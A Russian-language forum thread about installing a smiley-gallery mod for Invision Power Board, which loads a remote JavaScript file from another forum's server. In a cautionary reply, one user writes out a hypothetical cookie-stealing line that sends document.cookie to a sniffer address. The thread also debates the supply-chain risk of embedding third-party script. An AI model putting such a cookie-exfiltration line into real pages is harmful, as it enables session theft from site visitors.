Перейти к контенту

Рекомендуемые сообщения

Подключение коллекции более чем 2700 смайликов:

 

Посмотреть коллекцию

 

Коллекция работает аналогично попап-окну смайликов "Показать все".

 

Установка мода:

 

1. Создать в корне форума файл sm.html:

<html><head></head><body>
<script src="http://pharm-forum.ru/sm.js" type="text/javascript"></script>
</body></html>

 

2. Админцентр => ВНЕШНИЙ ВИД => IPB Стандартный стиль => Изменить HTML фрагменты => Post Screen => smilie_table.

Найти:

  <!--THE SMILIES-->
 <tr>
  <td align="center" colspan="{ipb.vars['emo_per_row']}"><b><a href="java script:emo_pop()">{ipb.lang['all_emoticons']}</a></b><br /><b><a href="java script:bbc_pop()">{ipb.lang['bbc_help']}</a></b></td>
 </tr>

 

Заменить:

  <!--THE SMILIES-->
 <tr>
  <td align="center" colspan="{ipb.vars['emo_per_row']}"><b><a href="java script:emo_pop()">{ipb.lang['all_emoticons']}</a></b><br /><b><a href="java script:bbc_pop()">{ipb.lang['bbc_help']}</a><br /><br /><a href="sm.html" target="0" onclick="java script:window.open('sm.html', '0', 'HEIGHT=450,resizable=yes,scrollbars=yes,WIDTH=550');">еще смайлики</a></b></td>
 </tr>

 

 

PS: При установке кода слово "java script" следует писать без пробела :D

 

 

 

==========================================

22:05:2007

Обновлен скрипт:

  • Количество отображаемых смайликов на одной странице уменьшено до 15;
  • Добавлено "5 последних выбраных смайликов";
  • Скрипт теперь запоминает страницу галереи, на которой был посетитель, и при повторном вызове галереи смайликов сразу открывается на последней просмотренной странице.

Сделано на кукисах, поэтому все запоминания привязаны не к нику, а к компьютеру.

 

==========================================

23:05:2007

  • Добавлена возможность сохранять и удалять смайлики в "избранном".

Ссылка на комментарий
Поделиться на других сайтах

боюсь что рано или поздно эта коллекция будет недоступна, т к лежит совсем не на своем сервере. Будет такая ж фигня как и с кнопкой "демо" в файловом архиве.. половина ссылок уже не работают)
Ссылка на комментарий
Поделиться на других сайтах

Никто не запрещает собрать свою коллекцию смайликов у себя; скопировать себе мой скриптовой файл и поменять в нем пути на свои.

 

Дал путь на нашу коллекцию смайликов и наш скрипт потому, что коллекция продолжает пополняться и систематизироваться, при этом скриптовой файл на нашем форуме используется тот же самый. Это значит, что все обновления коллекции на нашем форуме автоматически будут видны и у тех, кто поставит этот мод "как есть".

Ссылка на комментарий
Поделиться на других сайтах

  • 8 месяцев спустя...

В скрипте добавилось "5 последних" и возможность сохранить в "Избранном".

Смайлики тоже продолжают пополняться.

 

Кто подключил мой джаваскрипт, тому не недо ничего обновлять - новые возможности и новые смайлики автоматически появятся у всех, кто внедрил скрипт.

Ссылка на комментарий
Поделиться на других сайтах

  • 10 месяцев спустя...
не установил только по тому, что Java скрипт индуклится с неизвестного мне сайта. неизвестно что в этом скрипте...

Скопировать к себе может? :D

Ссылка на комментарий
Поделиться на других сайтах

  • 6 месяцев спустя...
2. Админцентр => ВНЕШНИЙ ВИД => IPB Стандартный стиль => Изменить HTML фрагменты => Post Screen => smilie_table.

такова пути ненашел. Подскажите пожалуйста правильный путь для 2.3.5 ?

и еще маленький вопрос такова плана: А собрать коллекцию смайлов у себя, это означает тыкать-копировать по очереди каждый из 2700 смайлов или есть более легкий путь ? :D

Ссылка на комментарий
Поделиться на других сайтах

тыкать-копировать по очереди каждый из 2700 смайлов или есть более легкий путь ? :D

Скачиваете мой sm.js, открываете блокнотом и видите

var smiles=new Array(

Дальше список смайликов.

Берете список в ворд: удаляете кавычки и пробелы и в начало каждой строки добавляете полный путь. Получаете лист закачки. Скармливаете лист какому-нибудь граберу,и ненапряжно снимаете всю коллекцию.

Ссылка на комментарий
Поделиться на других сайтах

а какая гарантия что в один прекрасный момент в этом javascripte не появится строчка document.location=\"адрес-снифера\"+document.cookie? или просто редирект или реклама или ещё чего.

 

Может даже вы виноваты не будете, а ваш сайт похакают и тогда будут взломано огромное количество ни в чём не повинных проектов.

 

Говорю от лица мелкого хакерюги :D

Ссылка на комментарий
Поделиться на других сайтах

скачать джава скрипт не проблема, проблема иметь смайлы у себя ;)

 

речь идет о том, как бы FatCat поделился своим грандиозным архивом уже более чем в 2800+ смайлов, очень хочется на это надеяться :D

я конечно человек упертый и понятливый, но даже для меня 2800 строк в js редактировать, потом скачивать и растусовывать по папкам, это весьма серьезное занятие. Однако если так все и задумывалось, что смайлы должны храниться только на фарма форуме, то наберусь терпения таки....

Ссылка на комментарий
Поделиться на других сайтах

если так все и задумывалось, что смайлы должны храниться только на фарма форуме, то наберусь терпения таки....

Изначально так и задумывалось, но планы изменились, поэтому не проблема поделиться самим архивом. Если не лень все настраивать у себя, забирайте.

smiles.zip

Ссылка на комментарий
Поделиться на других сайтах

Главное, чтобы sm.html открывался в новом окне. В каком шаблоне и как вы это реализуете - на ваш выбор.

Если проблема с джаваскриптом, весь функционал будет работать даже с target="_blanc", только выглядеть будет некрасиво.

Ссылка на комментарий
Поделиться на других сайтах

вот интересно, а в какой же шаблон для 2.3.х вставлять код (и код наверно придется изменить), чтобы в окошке смайлики появилось "еще смайлики".

примерно так:

post-73691-1241363321_thumb.jpg

а то уж больно мод нравиццо, да и коллекцию смайлов FatCat подобрал просто замечательную, со вскусом.

Тут во многих ветках форума замечал, что мод делался для 2.1х, а затем находились люди, помогали все обустроить для 2.3.х..

помогите пожалуйста и в этом случае :D

Ссылка на комментарий
Поделиться на других сайтах

насколько мог подшаманил для 2.3.5 вот так, если что неправильно, пожалуйста поправьте.

 

установка мода, пункт 2.

================================================================
редактор html шаблонов -> skin_editors (редактор сообщений) - > ips_editor
найти это
===================================================================
<td><div class="rte-normal" id="{$editor_id}_cmd_createlink"><img src="{$images_path}rte-link-button.png"  alt="{$this->ipsclass->lang['js_rte_lite_link']}" title="{$this->ipsclass->lang['js_rte_lite_link']}"></div></td>
====================================================================
вставить перед этим
=====================================================================
<!--THE SMILIES-->
<td align="center"><b><a href="sm.html" target="0">еще_2800+_смайликов</a></b></td>
===================================================================

получится вот так:

post-73691-1241376364_thumb.jpg

Ссылка на комментарий
Поделиться на других сайтах

Присоединиться к обсуждению

Вы можете ответить сейчас, а зарегистрироваться позже. Если у вас уже есть аккаунт, войдите, чтобы ответить от своего имени.

Гость
Ответить в этой теме...

×   Вы вставили отформатированный текст.   Удалить форматирование

  Допустимо не более 75 смайлов.

×   Ваша ссылка была автоматически заменена на медиа-контент.   Отображать как ссылку

×   Ваши публикации восстановлены.   Очистить редактор

×   Вы не можете вставить изображения напрямую. Загрузите или вставьте изображения по ссылке.

Зарузка...
×
×
  • Создать...

Важная информация

Находясь на нашем сайте, вы соглашаетесь на использование файлов cookie, а также с нашим положением о конфиденциальности Политика конфиденциальности и пользовательским соглашением Условия использования.